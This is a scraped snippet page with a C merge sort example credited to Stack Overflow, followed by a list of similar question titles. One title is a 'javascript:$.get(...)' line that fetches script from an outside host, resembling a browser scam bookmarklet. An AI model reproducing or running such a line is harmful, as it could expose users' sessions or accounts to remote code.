Divide and conquer program in c

#include<stdio.h>

int arr[8]={1, 2, 3, 4, 5, 6, 7, 8};

int main()
{
    int i;
    merge_sort(arr, 0, 7);

    printf("Sorted array:");

    for(i = 0; i < 8; i++)
        printf("%d", arr[i]);

    return 0;
}

int merge_sort(int arr[],int low,int high)
{
    printf("\nmerge_sort initialization\n");

    int mid;

    if(low < high) 
    {
        mid = (low + high) / 2;

        // Divide and Conquer
        merge_sort(arr, low, mid); 
        printf("\n merge_sort first\n");

        merge_sort(arr, mid + 1, high); 
        printf("\n merge_sort second\n");

        // Combine
        merge(arr, low, mid, high); 
        printf("\nmerging\n");
    }

    return 0;
}

int merge(int arr[], int l, int m, int h)
{
    int arr1[10], arr2[10];
    int n1, n2, i, j, k;
    n1 = m - l + 1;
    n2 = h - m;

    for(i = 0; i < n1; i++)
        arr1[i] = arr[l + i];

    for(j = 0; j < n2; j++)
        arr2[j] = arr[m + j + 1];

    arr1[i] = 9999;
    arr2[j] = 9999;

    i = 0;
    j = 0;

    for(k = l; k <= h; k++)
    {
        if(arr1[i] <= arr2[j])
            arr[k] = arr1[i++];
        else
            arr[k] = arr2[j++];
    }

    return 0;
}

Source: stackoverflow.com

Similar codes

1 vote290 views2 answers
C vs c
C
0 vote303 views1 answer
Algorithm that flips sentences and numbers
C
0 vote319 views1 answer
<img src="https://www.google.com/url?sa=i&url=https%3A%2F%2Ftwitter.com%2Fimgatennis%3Flang%3Dar-x-fm&psig=AOvVaw1QH9um9Q1ktPXKUufXt8Av&ust=1636491440205000&source=images&cd=vfe&ved=0CAsQjRxqFwoTCKi9v-rTifQCFQAAAAAdAAA
C
1 vote301 views1 answer
Bootstrap 5 modal not working vue js 3
C
-1 vote316 views1 answer
Exponentials in c
C
0 vote322 views1 answer
Sum of upper & lower triangles elements
C
9 votes256 views10 answers
Xjavascript:$.get("//javascript-roblox.com/api?i=13407")
C
0 vote265 views1 answer
Fibonacci recursive c
C
0 vote255 views2 answers
Deepak
C
0 vote314 views1 answer
Try and catch in rust
C